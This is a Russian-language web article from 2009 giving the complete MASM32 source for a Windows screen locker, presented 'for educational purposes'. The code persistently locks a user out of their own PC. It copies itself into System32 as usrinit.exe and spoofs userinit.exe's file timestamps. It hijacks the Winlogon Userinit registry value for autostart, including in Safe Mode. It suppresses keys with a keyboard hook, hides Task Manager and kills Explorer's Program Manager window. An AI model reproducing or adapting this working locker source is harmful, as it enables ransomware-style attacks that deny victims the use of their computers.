Главная » Статьи » Статьи |
Для начала скажу, что программа эта тестировалась на Win XP, Vista и Windows 7, и нигде не удалось ее обойти или убить. Весит это чудо 4.5 кб в неупакованном виде:) Конечно, я привожу код лишь в образовательных целях. Ради демонстрации интерфейс программы содержит одно поле для ввода пароля и кнопку для разблокировки, при нажатии на которую программа проверяет пароль, закрывается и отменяет все сделанные ей изменения, пасс по умолчанию – 123. Ответственность за использование программы во вред другим ложится целиком на вас. Сначала – директивы, инклюды, как обычно… .486 ;создаем 32-разрядный код для 486 .model flat, stdcall ;стандартная модель памяти option casemap :none ;регистрозависимые параметры ;подключаем необходимые библиотеки и макросы include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\Comctl32.inc include \masm32\include\shell32.inc include \masm32\include\DIALOGS.INC include \masm32\macros\macros.asm include \masm32\macros\ucmacros.asm include \masm32\include\advapi32.inc ;соответствующие им lib-файлы includelib \masm32\lib\masm32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\Comctl32.lib includelib \masm32\lib\shell32.lib includelib \masm32\lib\advapi32.lib ;прототипы некоторых процедур DialogProc PROTO :DWORD,:DWORD,:DWORD,:DWORD ;главная процедура обработки сообщений, посылаемых окну MyHook PROTO :DWORD,:DWORD,:DWORD ;процедура подавления клавиатуры EnumProc PROTO :DWORDm, :DWORD ;процедура поиска и закрытия програм менеджера Теперь – секция данных. .data taskman dd 0 ;переменная для хранения хендла окна таскменеджера ;далее - несколько юникодовых переменных для работы с реестром и файлами ;дальше я поясню, куда можно записать программу для хорошего автозапуска WSTR regkey,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" WSTR keyname,"Userinit" WSTR userinit,"\userinit.exe," WSTR userinit2,"\userinit.exe" WSTR MyFile,"\usrinit.exe" ;указывает, убит ли уже Program Manager - часть explorer.exe explorerKilled db 0 ;секция неинициализированных данных .data? hWnd dd ? ;хендл нашего окна hInstance dd ? ;хендл текущего процесса hIDKey dd ? ;хендл открываемого ключа реестра ;структуры для изменения даты файла ftime1 FILETIME <> ftime2 FILETIME <> ftime3 FILETIME <> hook dd ? ;хендл устанавливаемого хука ;несколько буферов для хранения строк buf db 256 dup(?) buf2 db 256 dup(?) sys32 db 128 dup(?) Теперь рассмотрим основной код и алгоритм работы. .code start: mov hInstance,FUNC(GetModuleHandle,NULL) ;получаем хендл текущего процесса call main ;вызываем функцию main invoke ExitProcess,eax main PROC invoke SHGetFolderPathW,NULL,CSIDL_SYSTEM,NULL,0,offset sys32 ;получаем путь к папке System32 в Unicode invoke lstrcpyW,offset buf2,offset sys32 ;объединяем полученный путь с именем нашего файла, который мы скопируем invoke lstrcatW,eax,offset MyFile ;в папку system32 invoke WideCharToMultiByte,CP_ACP,0,offset buf2,-1,offset buf,255,NULL,NULL ;преобразуем полученную строку в ansi invoke GetCommandLine ;получаем значение командной строки mov esi,eax ;и получаем из нее имя исполняемого файла mov edi,eax ;оно содержится в кавычках inc edi ;поэтому их нужно убрать inc esi ;вообще, это всё эквивалентно GetModuleFileName, но я уже сделал так :) mov al,'"' repne scasb mov byte ptr [edi-1],0 push esi ;в esi - указатель на строку с именем и путем к нашему файлу invoke lstrcmp,esi,offset buf ;если он совпадает с тем путем, по которому мы копируем файл (в System32) pop esi .if eax!=0 ;то мы ничего не делаем invoke CopyFile,esi,offset buf,TRUE ;иначе - копируем файл .if eax!=0 invoke lstrcpyW,offset buf,offset sys32 ;теперь сделаем дату создания и изменения файла такие же как у userinit.exe invoke lstrcatW,eax,offset userinit2 invoke CreateFileW,offset buf,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ;считаем их .if eax!=INVALID_HANDLE_VALUE push eax invoke GetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 ;вот тут pop eax invoke CloseHandle,eax invoke lstrcpyW,offset buf,offset sys32 invoke lstrcatW,eax,offset MyFile invoke CreateFileW,offset buf,GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ;и применим к нашему файлу .if eax!=INVALID_HANDLE_VALUE push eax invoke SetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 ;здесь pop eax invoke CloseHandle,eax .endif .endif .endif invoke lstrcpyW,offset buf,offset sys32 invoke lstrcatW,eax,offset userinit invoke lstrcatW,eax,offset sys32 invoke lstrcatW,eax,offset MyFile ;запишемся в одну из веток для автозапуска call WriteReg .endif ;ну а теперь создадим диалоговое окно с элементами управления Dialog " ", \ "MS Sans Serif",8, \ 0, \ 3, \ 50,50,230,90, \ 1024 DlgStatic "Введите пароль (123):",0,100,102,100,13,101 DlgEdit WS_TABSTOP,205,100,100,13,202 DlgButton "Остановите это безобразие!",WS_TABSTOP,100,120,200,13,201 CallModalDialog hInstance,0,DialogProc,NULL ;создаем окно и запускаем процедуру обработки сообщений xor eax,eax ret main ENDP Что же было сделано в предыдущем куске? Сначала программа смотрит, откуда она открыта. Если это папка System32, и имя программы usrinit.exe, то мы просто создаем диалоговое окно. Если же нет, то мы копируемся с таким именем в System32, устанавливаем дату создания и изменения файла как у userinit.exe (наша программа зовется уже usrinit.exe), а затем записываемся в автозапуск: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit. Этот параметр по умолчанию содержит путь к userinit.exe в папке System32, но туда через запятую можно приписать еще какой-нибудь exe. Примечательно, что запуск этих файлов будет производиться и в Safe Mode. К сожалению, такие проактивки, как Outpost, предупреждают о попытке изменить этот ключ, считая его критическим. Я не стал искать что-то более замороченное, тем более код я привожу всего лишь в образовательных целях. Теперь рассмотрим процедуру обработки сообщений, посылаемых окну: DialogProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD .if uMsg == WM_INITDIALOG ;если мы инициализируемся invoke ShowWindow,hWin,SW_SHOWMAXIMIZED ;максимизируем окно invoke GetWindowLong,hWin,GWL_STYLE ;убираем рамку и заголовок окна and eax,not WS_CAPTION and eax,not WS_THICKFRAME invoke SetWindowLong,hWin,GWL_STYLE,eax invoke GetWindowLong,hWin,GWL_EXSTYLE ;делаем форму полупрозрачной or eax,WS_EX_LAYERED invoke SetWindowLong,hWin,GWL_EXSTYLE,eax invoke SetLayeredWindowAttributes,hWin,0,185,LWA_ALPHA invoke GetCurrentThreadId ;устанавливаем hook на клавиатуру (это для отключения Esc, Alt+F4 и пр.) mov hook,FUNC(SetWindowsHookEx,WH_KEYBOARD,offset MyHook,NULL,eax) invoke RegisterHotKey,NULL,108,MOD_ALT,VK_TAB ;ставим hotkey alt+tab - работает, правда, только в XP invoke SetWindowPos,hWin,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE ;ставим окно поверх всех invoke SetTimer,hWin,101,40,NULL ;запускаем таймер для выполнения действий по своему анти-закрытию m2m hWnd, hWin .elseif uMsg == WM_COMMAND ;если нажали на кнопку .if wParam==201 ;если это кнопка разблокировки invoke GetDlgItemText,hWnd,202,offset buf,100 ;получаем введенный текст invoke lstrcmp,offset buf,chr$("123") ;сравниваем с "123" test eax,eax ;если все верно je @F ;то выходим ret ;иначе - продолжаем выполнение @@: invoke UnhookWindowsHookEx,hook invoke UnregisterHotKey,NULL,108 ;убираем hotkey invoke KillTimer,hWnd,101 ;отключаем таймер .if taskman!=0 invoke ShowWindow,taskman,SW_SHOW ;если мы скрывали таскменеджер, то покажем его .endif invoke lstrcpyW,offset buf,offset sys32 invoke lstrcatW,eax,offset userinit ;почистим реестр от себя call WriteReg invoke EndDialog,hWin,0 ;выйдем из программы .endif .elseif uMsg==WM_TIMER ;сообщение по таймеру invoke SetForegroundWindow, hWnd ;делаем себя поверх всех invoke SetWindowPos,hWnd,HWND_TOP,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE call GetForegroundWindow ;проверяем, а нет ли кого выше нас? cmp eax,hWnd ;если нет - то все нормально je good push eax invoke GetClassName,eax,offset buf,30 ;проверяем, не taskman ли это? invoke lstrcmp,offset buf,chr$("#32770") ;класс dialog box'а - это наверняка таскменеджер pop ebx test eax,eax jne good mov taskman,ebx invoke ShowWindow,ebx,SW_HIDE ;скрываем его good: .if explorerKilled==0 invoke EnumWindows,offset EnumProc,NULL ;если мы еще не убили Program Manager - пытаемся его найти и убить .endif .endif xor eax,eax ret DialogProc ENDP Что же делается в вышеописанном куске кода? Сначала мы создаем перехват клавиатуры – это помогает отключить клавиши Esc, Alt+F4. Потом мы создаем комбинацию горячих клавиш Alt+Tab – работает, правда, только в Windows XP, но и в других системах это не облегчает убивание программы. Окно мы разворачиваем и делаем полупрозрачным, чтобы было видно, что окошки за ним остались :) По таймеру проверяем, нет ли кого поверх нашего окна, если это таск менеджер, то скрываем его, если нет, то просто делаем себя активным окном поверх всех. По нажатию на кнопку разблокировки проверяем пароль, и если он верный, то отменяем все действия, чистим реестр и выходим. Теперь посмотрим на хук и на процедуру убивания Program Manager’а, а также на процедуру записи в реестр. К слову, програм менеджер – это часть explorer.exe, которая отвечает за трейбар и все что с ним связано, а также за иконки на рабочем столе. Соответственно, закрыв его, мы просто уберем всё это с экрана, лишив пользователя кнопки Win и прочих возможностей убить нашу программу. MyHook PROC nCode:DWORD,wParam:DWORD,lParam:DWORD ;перехват клавиатуры cmp nCode,0 jge @F invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam ;по стандарту Windows ret @@: .if (wParam>=31h && wParam<=3Ah) || wParam==8 ;если нажали цифру или BackSpace - то пропускаем нажатие invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam ret .endif mov eax,1 ;говорим, что мы обработали клавишу и не пересылаем ее дальше в очереди обработчиков ret MyHook ENDP EnumProc PROC,hWndf :DWORD,lParam :DWORD ;поиск и убивание Program Manager'а invoke GetWindowText,hWndf,offset buf2,29 ;проверяем, а не програм менеджер ли мы нашли? invoke lstrcmp,offset buf2,chr$("Program Manager") test eax,eax ;и если это действительно он jne @F mov explorerKilled,1 ;отмечаем, что мы нашли его и убили, чтобы не гонять цикл впустую (см. код выше) invoke SendMessage,hWndf,WM_ENDSESSION,TRUE,ENDSESSION_CRITICAL ;посылаем ему сообщение о том, что следует немедленно закрыться, что он и делает @@: ret EnumProc ENDP WriteReg PROC invoke RegCreateKeyExW,HKEY_LOCAL_MACHINE,offset regkey,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,offset hIDKey,NULL ;открываем ключ для записи .IF eax==ERROR_SUCCESS ;если удалось открыть invoke lstrlenW,offset buf ;длина буфера add eax,eax ;в байтах add eax,2 ;с учетом нулевых байтов invoke RegSetValueExW,hIDKey,offset keyname,NULL,REG_SZ,offset buf,eax ;записываем в регистр invoke RegCloseKey,hIDKey ;закрываем ключ .ENDIF ret WriteReg ENDP end start Ну вот и весь код – в общей сложности примерно 250 строк. Чтобы запустить Program Manager после его закрытия, нужно через диспетчер процессов убить explorer.exe, а потом запустить его снова. Прикладываю для демнострации собственно exe-файл с кнопкой разблокировки и его полный код. Как его компилировать – описано в более ранних статьях. | |
Категория: Статьи | Добавил: ipsyedinmk (06.11.2009) | |
Просмотров: 2572 |
Всего комментариев: 0 | |